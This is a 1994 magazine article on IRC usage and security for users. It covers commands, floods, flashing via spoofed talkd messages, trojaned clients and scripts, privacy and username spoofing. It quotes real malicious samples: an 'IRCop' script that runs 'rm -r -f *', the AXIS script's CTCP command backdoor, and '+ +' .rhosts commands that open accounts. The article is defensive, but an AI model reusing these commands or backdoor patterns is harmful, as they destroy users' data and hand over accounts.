Virus Databases
Virus Links
Virus Research
Security



IRC and Security -- Can the Two Co-Exist?


By Sarah Gordon
E-mail:[email protected]

Originally published in Network Security magazine, October 1994,Elsevier Advanced Technology, Oxford, UK.

© Copyright 1995 Elsevier Press. This document may not be reproduced in whole or in part, stored on any electronic information system, or otherwise be made available without prior express written consent.

Abstract

This article is divided into two sections. The first explains what IRC is, and how to use it. Designed for the newcomer to IRC, it lists common commands and how to keep the IRC session "under control". Think of it as security for the individual user, who wants to keep his or her IRC session under his own control. The second section details more serious IRC security concerns; scripts, trojans, spoofing and privacy. It is also geared toward the user, but with a more technical slant. Both sections, taken together, give a comprehensive "mini-course" on getting started with IRC safely.

Part I

What is IRC?

John Perry Barlow once described Cyberspace as 'where you are when you're on the telephone'. IRC is where you go when you want to meet people in Cyberspace. IRC (which stands for 'Internet Relay Chat') is the most popular chat program on the Internet. 6000-8000 people can be logged into the main network at any given time, and perhaps another 1000 log into the 'undernet' system and various private systems. People use IRC for many reasons. Some use it to chat about their lives, some use it as an inexpensive conference call, and some use to stay in real-time touch with their colleagues in various fields. Some use it to harass other people, or to get into other people's accounts.

Internet Relay Chat, like many Internet services, was started as a little project by someone with some time to kill. Since its initial release in 1988, (it was originally intended as a local replacement for the Unix 'talk' program), IRC has become an established part of the Internet, used by thousands of people every day. It has grown and changed a lot since 1988; the current version barely resembles the original. However, one thing about IRC has not changed; it is still a rich source of security problems. This article will give you some tips on using IRC, and especially how to use it safely. We will examine some of the security problems IRC presents, both within the realm of IRC and outside it. We will also look at the privacy and authentication concerns IRC presents. This article is primarily geared toward users of IRC, although some concerns of administrators are addressed.

How does IRC work?

Many people in the security community are beginning to make use of IRC to meet with colleagues and to gather information about security problems (not just IRC related). However, as with many programs/service, many people do not read the documentation. To save you time and effort, we will present a short tutorial on how IRC works. We recommend you read the documentation if you intend to make extensive use of IRC. IRC is a distributed client-server system, with over a hundred servers scattered across the Net. Each user runs a local client, which connects to a server. The client tells the server who is connecting and what name they want to use. The server checks its list of current users on all servers, and if the name is not being used by anyone else, the user is accepted.

On IRC the space is divided into 'channels'. Think of each channel as a space divided by movable partitions. Channels only exist on IRC when there are people in them; when the last person leaves the channel disappears. Some channels are always occupied, and some last only as long as a conversation between two people. Each channel has a name, to let people know what to expect when they enter.

Physically, the system works much like Usenet (except much faster), with servers forwarding messages to each other, until every server gets every message. Each server has one or more Operators, who control things like which servers it is talking directly to, and other administrative functions. Operators can cut other servers off, 'kill' users, and send messages to all users at once. Some operators are said to have other abilities written into their server, like listening in on private conversations and spoofing themselves as other people.

We need to insert a word here about the 'Undernet'. The Undernet is an alternate system of servers, with slightly different features. It has a considerably smaller user base than the larger 'EFnet', and has a number of features designed to prevent many of the problems listed below. For a full explanation of what the Undernet has to offer, you should use anonymous ftp to rtfm.mit.edu; cd to /pub/usenet-by-group/alt.irc and get the files IRC_Undernet_Frequently_Asked_Questions_(FAQ)_(Part_1_of_2) and IRC_Undernet_Frequently_Asked_Questions_(FAQ)_(Part_2_of_2).

A Brief How-To Guide

Now that you understand a bit of how it works, it's time for a practical 'how to'. You're sitting at your Unix shell prompt (there are clients for other machines - VMS, Windows, Mac - but as with the rest of the Internet, Unix is currently the most common). You type 'irc'. You see this message on your screen: 

*** Connecting to port 6667 of server irc-2.mit.edu
*** Welcome to the Internet Relay Network root
*** Your host is irc-2.mit.edu, running version ircd2.8/dog3-super.pl7
003 This server was created Thu Sep 15 1994 at 02: 57:11 EDT
004 umodes available oiws, channel modes available biklmnopstv
You see a status bar at the bottom of the screen, and a line below that with the cursor blinking at you. What do you do now?

On IRC, you type in messages a full line at a time, and hit return. Any line that starts with a '/' is a command; there are about a hundred commands, too many to tell you everything about all of them. You can find all of the commands in the documentation for IRC, but to save you time, we will look at the at most of the common ones.

You need to be careful to use the correct parameters with the commands, or you could cause yourself great inconvenience. Here, we will look at Nick, Join, Leave, Msg, Query, Mode, Invite, List and Whois.

  • Nick - This is the first command you should learn. Unless you get a 'You have specified an illegal nickname, please enter your nickname:' message when you started up, your nickname will be the same as your account name. For some this is fine; however, if your username is 'rsk457', you might want to change your nick to something more friendly like 'Jan' or 'JanH' (IRC nicknames can be from 1-9 characters and the first character cannot be a number).

  • Join - This does what you would expect - sends a request to join a channel. You say '/join #channel' (putting a '#' in front of the name of the channel). If the modes of the channel (see below) allow, you join the channel; it's like walking into a room. You're told who else is in there, and they're told that you've come in. If your request is refused, you're told why. There are ways to be on more than one channel at a time; until you're an expert though, you should leave this alone. One channel at a time is usually all you'll need.

  • Leave - This is the opposite of Join.

  • Msg - Sooner or later you want to say something privately to someone. You could set up a new channel and invite them, but that's a lot of hassle for just a quick 'hi'. Typing '/msg joe hi, how are you?' is much quicker. A quick word on how messages appear - public messages appear with the name of the person looking like this:

    <Pink> Hi Floyd <Floyd> Hi Pink

    Public messages from you look like this on your screen: 

    > Hi everybody.
    Private messages from others look like this: 
    *Pink* Hi Floyd
    Private messages from you to others look like this: 

    -> *Floyd* Hi Pink

  • Query - Sometimes you may want to have a whole conversation with someone, in private. Again, you could leave and set up your own private channel (sometimes this is the best option); but unless it's going to be a long talk, "Query" is the command to use. Type '/query joe' and all your messages will go only to Joe. When you're done type '/query' and hit return; that resets the query.

    You need to be aware that you can be a victim of line noise. Sometimes line noise or interference will burst across the lines at the same time you enter a /query. Your hopefully private message could get a few characters -before- the /, which would turn it into a public message resembling: 

    > *!$$ i  /msg John Yes, we suspect he is the one but won't know for sure
> until tomorrows logs are analysed.

    OOPS! This is why we recommend /query for private conversations, as opposed to /msg.

  • Mode - Modes are used to define a channel. Only channel operators can change the modes on a channel. The first person to join a channel (the creator of it) is automatically made an Op. An Op can make anyone else an Op, or take away their Op status. Ops can also kick people out of channels. Some people especially enjoy the status of "Op" and will do almost anything to get it. It seems to hold almost a magical power over some IRC users. Some of the more useful modes:

    '/mode #channel +i' - Invite. Only people who are invited by an op (using the Invite command) can join the channel. This is useful if you are going to discuss a topic and wish to have (relative) privacy from others who may be on the IRC at the same time.

    '/mode #channel +l 10' - Limit. This limits the number of people who can be in the channel at one time.

    '/mode #channel +b nick' - Ban. This stops anyone with that nick from joining. The person could change their nick (or site) and rejoin; usernames, sites and even whole domains can be banned. Sometimes a really nasty person will get control of a channel and '/mode #channel +b *!*@*', which shuts out -all- users, and then go do his math homework.

    '/mode #channel +o nick' - Op. You can also de-op someone with '/mode #channel -o nick'.

    '/mode +channel +m' - only ops or people with +v (see below) can talk on the channel.

    '/mode #channel +v nick' - Voice. See above.

    '/mode nick +i' - Invisible. This makes you invisible to Who and Whois, unless the person uses your exact nick. You can only do this for yourself.

  • List - Channel list. Unless you want to see all 1200 channels at once, don't type this without modifiers. /list #security will show you the names of users in the channel #security. /list will show you the names of every channel on IRC, and every person in every channel on IRC.

  • Whois - This shows you the account information for a user. You say '/whois wing' and you are told 'wing is [email protected] (Wing) on channels: #root'. Since there is no way to reserve a nickname, you should check that the person you are about to message asking "how did your boss take the news of the lawsuit" is actually them and not their boss! If it's REALLY important, don't even rely on the answer Whois gives you - usernames are easily spoofed. Hostnames can also be spoofed, though this is more difficult.

Security inside IRC

By "inside IRC", we mean issues like keeping control of a channel and dealing with disruptive users. IRC has always had disruptive users. Channel modes and channel operators were created to exercise some control over channels, but there have always been people creative and bored enough to find ways around them. This section will give some common ways individual users attempt to cause problems, and how other users can help control this situation.

Channels

One early IRC 'hack' involved channel names; it was discovered that if you joined a channel with the same name as another channel, but with a Control-G at the end (for example "+IBM^G"), one part of the IRC server code would check the name and see no channel with the same name, and give the user channel operator ('chan-op' or just 'Op' to IRC'ers) status. Another part would see no difference between the two names and drop the user in the already established channel. This has been long fixed; but there are always new holes waiting to be discovered.

As already mentioned, IRC's main line of defence for users is the channel modes. An understanding of these, and careful application of some basic common sense will go a long way.

You may wonder why all of this channel information is important. If you are trying to make use of IRC to learn/converse, you must be able to deal with the ever-changing nature of the channels. You must understand how these things work. If you do not understand them, you will be left behind as the seasoned participants toss you around like a feather in a hurricane. If you are tossed about spending all of your time trying to learn "the game", you will not have time to pay attention to the things that are larger security problems for IRC users and sites . You will be so busy trying to keep your head above water that you may not notice yourself drown. More importantly, you need to know what commands you can use that will NOT cause you problems. There are some real problems that can occur when you are using IRC in realtime. If you are not familiar with the basics, you will not recognise when something is -really- going wrong.

General Problems Users May Encounter

Now that you are familiar with some of the tools for getting around IRC, we'll start looking at the security issues IRC presents. The biggest concern is taking something someone says or gives you, and doing it or running it. It doesn't take much to make your account open to the world; one command you don't understand is all it takes. There are many IRC scripts floating around; some are useful, some are useful if you want to annoy other people, and some have trojan horses. We will examine some of these scripts in Part II. Your best bet is to avoid these altogether, until you are good enough at writing IRC scripts to check each line yourself.

  1. Advice

    There's always someone willing to give advice on IRC. Sometimes the advice is good, sometimes it's bad, and sometimes it's from a warez dood or malicious person who wants to use your account to store his warez in. Don't take advice from just anybody. In fact, unless you know someone well, and trust their judgement, don't take their advice at all when it comes to IRC.

  2. Which irc?

    Many sites have IRC installed as a local program. If yours does not, you may be tempted to install a copy of IRC in your own directory. Think again. CERT recently put out a warning (CA-94:14), saying that copies of IRC source code had been found with trojan horses put in them; anyone compiling and running these would be putting their account at risk to hackers. The trojan works as follows: when a CTCP (client to client protocol) command of GROK or JUPE (depending on which trojan it was) was sent to a trojan client, along with a command to execute (for example "cat '+ +' >.rhosts"), the command would be executed and the person would never know. (This particular command would of course drop the .rhosts file containing the ever-feared "+ +" into the user's home directory, enabling the ctcp-er to pay an unannounced and unnoticed visit at his/her convenience).This trojan was found on at least one major IRC distribution site; it is unknown how long it was there. We will look at this trojan in more detail in a few moments.

  3. Netsplits

    You may see a users in your channel all disappear at the same time. This is known as a netsplit, and it can be (but is not always) caused by users. How is a netsplit forced? There are various ways. The IRC Operator for a server could simply give a command to split, or a user could use a program called 'nuke' to spoof ICMP packets telling the server it has lost the connections (nuke will be more fully discussed in an upcoming article). Or he could simply find a server with a history of poor connections and wait until it splits.

    Here is a code fragment that will (fairly reliably) protect against hacked Ops - 

    '/on -mode "%.% % +o %" mode $1 -o $3'
    This piece of code, when run on IRC, will notice any Ops given by a server (but not by a specific person) and immediately de-op that person. Some people say the netsplits caused by the program "nuke" are the children of the father to the now developing packet storming. This remains to be seen. In any event it is an annoying occurance.

  4. Bots and Scripts

    There are many other things that can be done to disrupt and annoy; many can be found in scripts such as 'WarBot' or 'PhoEniX'. There are also clone-bots - This is where a number of robot sessions ('bots') are created, all come at once into a channel and do something annoying. Some simply run in, say something and run out; the nastier ones randomly change nicks as fast as they can, filling your screen with nick-change announcements or other garbage, making it impossible for you to leave the channel. While this is annoying, there are worse things waiting for you from the world of Bots and Scripts. These, too will be discussed in Part II.

  5. Nick collisions

    Other things waiting to annoy you on IRC include nick collisions - This happens when two people with the same nick come together after a split. The servers see the problem and solve it by killing the connection of both users. If you see this happening to yourself repeatedly, it is possible someone has targeted you. You should note where the other user with your name is coming from, as a first step to identifying the user.

  6. Floods

    Message flood - This will flood you with private messages from the user; variants include CTCP flood and DCC flood. CTCP is the Client To Client Protocol, used for sending commands (such as ping or finger) directly to the client; DCC stands for Direct Client Channel, used for transferring files and more secure connections. This is done for the same reason as many scripts -- to annoy and harass. These messages are usually floods of obscenity and other meaningless data.

  7. Flash

    Flashing is a bit more elegant. 'Flashing' on IRC is sending an escape sequence that will scramble other users' screens (much like ANSI bombs). There are various ways to do this; direct message, setting a topic or channel key that includes an escape sequence are the most popular. Flash "the proggie" works by using the talk service. As we see from the documentation on "talk", the talk server acts a holding site for invitations, answering requests by clients who wish to 'talk'. A CTL_MSG is sent to the server of the type LOOK_UP, which tells the server to peruse its invitation tables and check to see if an invitation to talk exists. If there isn't one, the caller sends an ANNOUNCE message, which causes the server to send an announcement to the user. If the user responds, the local server uses the recorded invitation to help establish a stream connection. There is, however, no check on who sends the CTL_MSG. The CTL_MSG, which contains info like who pages who, what tty they are on, and their site name can be spoofed. In later articles we will discuss talk spoofing -- the possibility and the extent of currently available talk spoofers and patches for them; for now, we will examine how the talk service is used to do this "flashing".

    Flash, a program circulating in the underground, accepts a command line paramenter; the address of the remote user in the form userid@site. It then with three consecutive calls sends to the remote talk demon (talkd) a control message: 

    typedef struct {
        u_char  vers;
        char    type;
        u_short filler;
        u_long  id_num;
        struct  sockaddr_in addr;
        struct  sockaddr_in ctl_addr;
        long    pid;
        char    l_name[NAME_SIZE];
        char    r_name[NAME_SIZE];
        char    r_tty[TTY_SIZE];
} CTL_MSG;

    A description of the more important fields follows:

    • u_char vers: Is the talk protocol version; in our case its 1;
    • char type: Is the type of the request type from flash to the demon. in our case it will be ANNOUNCE (3), i.e. the very initial request and announce invitation by the caller.
    • struct sockaddr_in ctl_addr: Should be filled with an info about caller's address but here flash fakes it too and instead of the real address it puts the address of the callee. Whats interesting to note is that the port of the caller is 666.

      When flash pages, the remote talkd notifies that the connection is requested from the local callee site. This is not quite necessary but it makes it more authentic.

    • char l_name[NAME_SIZE]; The local name of the user. here we put the control terminal sequences so we can print them.
    • char r_tty[TTY_SIZE]; the tty on which we page him

    Delivering the goods

    Flash fills all fields with info and then sends it out to the remote talk demon. It establishes a udp connection to the remote site port 518 using socket-based interprocess communications.

    Flash then forges l_name in which it stores the control terminal sequences. The remote talkd doesn't check what is in this field. The callee's talkd receives ANNOUNCE CTL_MSG and the next step it undertakes is to print to your screen a message of the well known format: 

    Message from [email protected] at 23:16 ...
talk: connection requested by [email protected]
talk: respond with:  talk [email protected]

    If the callee has enabled paging, and everything is working as it should, you see the message and respond; but what do we have instead of login name in l_name[NAME_SIZE] ? We have terminal floods. As you can see, Flash is not a very friendly program. The solution to this problem is to simply type "mesg n" prior to using IRC. This will, unfortunately, disable message for all who may wish to request a talk with you remotely, but until a flash filter is released, it's the best we have.

    You will know you have been flashed when your screen fills with garbage; when every character you type is remapped to what appears to be a high ansi character; when you can only see your own words if you type in UPPER case. Flash was very popular for a while; its use has somewhat leveled off and now is generally rarely used.

  8. Zmodem

    zmodem send - Many users have auto-zmodem receive set in their terminal programs. When a zmodem send sequence ('**[Control-X]b00') is received, the term program sends an auto-acknowledge signal (several of them, actually). This auto-ack is dumped to the channel, annoying the other users. The way to avoid this is to set z-modem autostart to OFF in your terminal program.

  9. Mega deop

    mega-deop - This will deop all users on the channel, as fast as possible. There are variants which kick all users and ban them as well, making the channel a little fortress held by one person.

    Most of these assaults have remedies; you can find tools for both offense and defense in most scripts. But be wary of these scripts, a fair number of them contain trojan horses that could hand your account over to another user.

Part II

Using IRC Safely

In part I, we have examined how users can keep their IRC sessions reasonably "under control" by understanding commonly used commands. It's all well and good to know how to stop the flooders from flooding, the clonebots from cloning, and the flashers from flashing. However, you need to be aware of more serious aspects to IRC security. While you can avoid the dangers of scripts by not running them, there are yet more 'invisible' dangers.

Scripters and their toys

As previously mentioned the other area of concern is commands run from within IRC. There are two ways to run commands, manually and automatically (scripts).

Manual execution is easy to stop. Simply put a line 'set exec_protection on' in your .ircrc file. You will never need to worry about accidentally typing something that could delete your data or hand your account over to someone (unless you type '/set exec_protection off'). This will stop any and all attempts by you to use the 'Exec' command.

Protecting yourself from scripts is equally easy - don't run any. If you must run a script, check over each line to make sure you know it does what you want it to do. And be sure to get the script from a reputable person, who has looked the script over for safety also.

Here are some examples of nasty things that can be found in scripts:

From a script called 'IRCop' (which allegedly hacks Op for the user): 

^alias clean {
       ^set display off
        EVAL ^MSG $NICK  @@@ Removing files from lamers account.
        exec rm -r -f *
        EVAL ^MSG $NICK  @@@ Removing .* files, including foo.
        exec rm -r -f .*
        EVAL ^MSG $NICK  @@@ Restoring directory.
        exec mkdir Folgers_Crystals
        EVAL ^MSG $NICK  @@@ Changing lamers nick.
        nick Iam****ed
        EVAL MSG $NICK  @@@ Making public announcement.
        me doesn't know it yet but he has secretly had his files
	  replaced
        me - with Folgers Crystals.
        me - Will he notice?   Let's watch...
        sleep 4
        EVAL ^MSG $NICK  @@@ Lamer is loosing his temper.
        say ****ing Son of a *****!  They ******* deleted my *** **** 
	  files!
        say I'm gona ****ing kill there ***! 
        me - Folgers Crystals... Rich enough to replace even MY files.
        me is so ****ed 3l33+...
        EVAL ^MSG $NICK  Lamer *DESTROYED*
        set display on
}

Instead of stealing Ops, the poor wanna-be op has all his files deleted -- and, he sends nasty little messages to everyone who is watching. If his humiliation was not enough, there is more code in this script that sets up and runs a password file de-shadower, sends the file to another user and insults the user running the script while stopping him from quitting IRC.

Even otherwise useful scripts may contain trojans, as this excerpt from a Usenet post illustrates - 

Newsgroups: alt.irc
From: John Leth-Nissen <[email protected]>
Subject: WARNING to all AXIS users!
Message-ID: <[email protected]>
Sender: [email protected] (Usenet News)
Nntp-Posting-Host: bolero.rahul.net
Nntp-Posting-User: conquest
Organization: a2i network
X-Newsreader: TIN [version 1.2 PL2]
Date: Wed, 26 Oct 1994 00:21:46 GMT
Lines: 68
    WARNING     WARNING     WARNING     WARNING     WARNING     WARNING
        Users of the scriptpak known as AXIS beware!  The script you are
using contains an extremely dangerous backdoor. If you have used this 
script on IRC w/o first removing this backdoor you may have already been 
hacked! This warning includes the original distribution from murple himself
(ftp.clark.net). The author of this script is sent an email when you use his 
auto-install so he knows who you are and this backdoor allows him total 
control of your client and access to your account.
Suggested Remedy:
Remove the whole axis pak or edit the ~/axis/axis file & remove the backdoor.
If you have run this script on irc you should probably send an email to your
admin and ask him to check system logs to find out if your account has been
accessed by [email protected].

This may be a little bit of an over reaction but there is no way to know what murple's true motives are for putting this kind of backdoor into the script. If his motives were not to hack your account there are much safer ways of coding a backdoor to only allow certain commands.

Here is the backdoor 

file: ~/axis/axis
lines: #1448-1462
--- begin ---
comment The following /ON statement is the back door. Congrats on being smart
comment enough to read a script before running it. Simply delete the next
comment 12 lines to get rid of it.
^on ^ctcp "% % DOIT*"
{
  ^assign doome $3-
  ^userhost $0 -cmd if ([$3]==[murple]&&[$4]==[clark.net])
  {
    ^set display off
    ^notice $0 [Slave] Your wish is my command: $dome
    ^eval sendline $doome
    ^timer 20 ^set display on
    ^eval sendline $doome
  }
}
--- end ---

The author claims the script was only intended to have a very limited release, among friends who all gave explicit permission for the backdoor, so he could help them out.

It only takes a line or two to wipe your account clean or hand it over to persons unknown; think before you type '/load nifty.irc'.

You don't have to run a script for your account to be compromised. In some cases you need only run IRC itself. It is not only possible to install a trojan horse into IRC, it has been done; and on a large scale at that. CERT recently released this advisory: 

CA-94:14                         CERT Advisory
                                October 19, 1994
                      Trojan Horse in IRC Client for UNIX
The CERT Coordination Center has learned of a Trojan horse in some copies of
ircII version 2.2.9, the source code for the Internet Relay Chat (IRC) client
for UNIX systems. Reports we have received thus far indicate that the corrupt
code was available as early as May 1994. The Trojan horse provides a back door
through which intruders can gain unauthorized access to accounts of IRC users.
Intruders are actively exploiting this back door.  If you obtained ircII 2.2.9
from any site in May or later, you may be vulnerable.

The full advisory can be found on anonymous ftp at info.cert.org as /pub/cert_advisories/CA-94:14.trojan.horse.in.IRC.client.for.UNIX.

What happened is this: someone wrote a trojan horse into the code for IRC and replaced the source on a major distribution site. The trojan horse was designed to respond to certain CTCP messages ('CTCP <nick>GROK <command>' or 'CTCP <nick> JUPE <command>') by executing the command, without telling the user. In other words, if you run a trojaned client and someone who knows about the signals tests them on you, he can set up free access to your account in seconds. All it takes is 'echo "+ +" >.rhosts' and he is in, whenever he wants.

The solution is easy - make sure you don't have a trojaned client (well, not -this- trojan anyway) by typing "strings `which irc` |egrep 'JUPE|GROK'" at your Unix shell prompt. If JUPE and/or GROK are found, you can pretty much be sure that you have a trojanized client. If they are not found, you can only be sure that this particular version of the trojanized client is not there. Check the code you run. Do not run IRC programs that you are not sure are legitimate.

Secure MD5 checksums for the upgrades are: 

        File                  Size     MD5 Checksum
        --------              ------   -----------------------------
        ircii-2.6.tar.gz      366361   3FC5FBD18CB3E6C071F51FD8C6C59017
        ircii-2.6help.tar.gz  111733   D9D535B7A06BED2A2EA6676B20BDA481
        ircii-2.5to2.6-diff   19644    0C05C96B10CB87186BD921536AE3FDF2

As with the earlier "sunsniffer" advisory, this one comes after much damage has been done. Please note that the strings JUPE|GROK are -arbitrary-.

In the last segment of this article, we will look at the concerns of privacy (who is listening?) and authentication (who am I talking to?).

'Who is listening?' This is a tough question to answer. Any time you talk over a network as insecure as the Internet you run the risk of being snooped on, peered at and watched by any number of people with various motives. We should refine the question to 'what risks to privacy are specifically made by talking on IRC?'. Is IRC safe from prying eyes? Consider the way IRC works. Your client sends messages to a server, which forwards your messages to other servers, which forward the message to the destination server. Compromise is possible all along the way (a server could be modified to sniff private messages, or a skilled user could spoof as a server). It should be noted that no proven case of an administrator installing such a sniffer has been found; but if you're thinking of conducting business meetings (as one networking magazine recently suggested) or discussing sensitive information you should probably consider another medium.

There are more secure channels available for talk using IRC; standard IRC provides two options and there is a third option for the truly paranoid.

First there is the Encrypt command, which allows good-old password-based encryption. Any encryption standard from Rot-13 to DES can be dropped in using the 'Set Encrypt Program' command. You need a secure channel to exchange the password; but once in place you can safely assume any sniffers placed on servers will get gibberish.

Second there is the DCC Chat. This opens a direct line between you and another party; it's about as safe as a 'talk' connection.

Thirdly, if you don't have any safe channels to send passwords over, and really need to talk securely over IRC, there's a public-key encryption package called 'ircrypt'. It's not very pretty, but it does work. You can even hold multi-party conversations with it. It's available for anonymous ftp at ftp.csua.berkeley.edu, as /pub/cypherpunks/applications/Circ.tar.gz.

On IRC, no one knows you're a security expert

Our last stop on this tour is a look at authentication or 'how do you know who you're talking to?'. The short answer is, you don't. IRC requires no authentication of usernames; it is the client's responsibility to tell the server the username. Spoofing of usernames is trivial, just a few lines of C code and you can go on IRC as any user (or a non-existent user) at your site.

By setting environment variables with the getenv command prior to invoking IRC, and making a two line change to the IRC client he is running, he can become [email protected]

For instance, if system headroom.com user max has made this commonly available code change, and typed "setenv IRCUSERID bryce", IRC will show him as [email protected], NOT max! Use of a secure port for username verification is an option, but not a requirement. In other words, you cannot trust a username you see on IRC. While many clients have been fixed to not accept spoofed usernames or realname fields, some still accept them, and pass them right along.

Spoofing the hostname is a bit tougher; that would require either a source-routing-based spoof, or a modified server. But neither is outside the realm of possibility and both have been done.

Conclusion

What is the conclusion? Should administrators forbid IRC on their systems? Some have tried, but users can and -will- find ways around it, either by changing the program name, or, if all else fails, by telnetting to another site that allows IRC. IRC is here to stay. Commercial services are beginning to offer it as an option for users. It's a good program, with many positive benefits including sharing of information and socialization. You cannot run, or hide from it. So, give it a try and see if you can help us figure out ways to make it more secure. We have a long way to go, and need all the help we can get.

About the Author

Sarah Gordon's work in various areas of IT Security can be found profiled in various publications including the New York Times, Computer Security Journal and Virus Bulletin. She is a frequent speaker at such diverse conferences as those sponsored by NSA/NIST/NCSC and DEFCON. Recently appointed to the Wildlist Board of Directors, she is actively involved in the development of anti-virus software test criteria and methods. She may be reached as [email protected]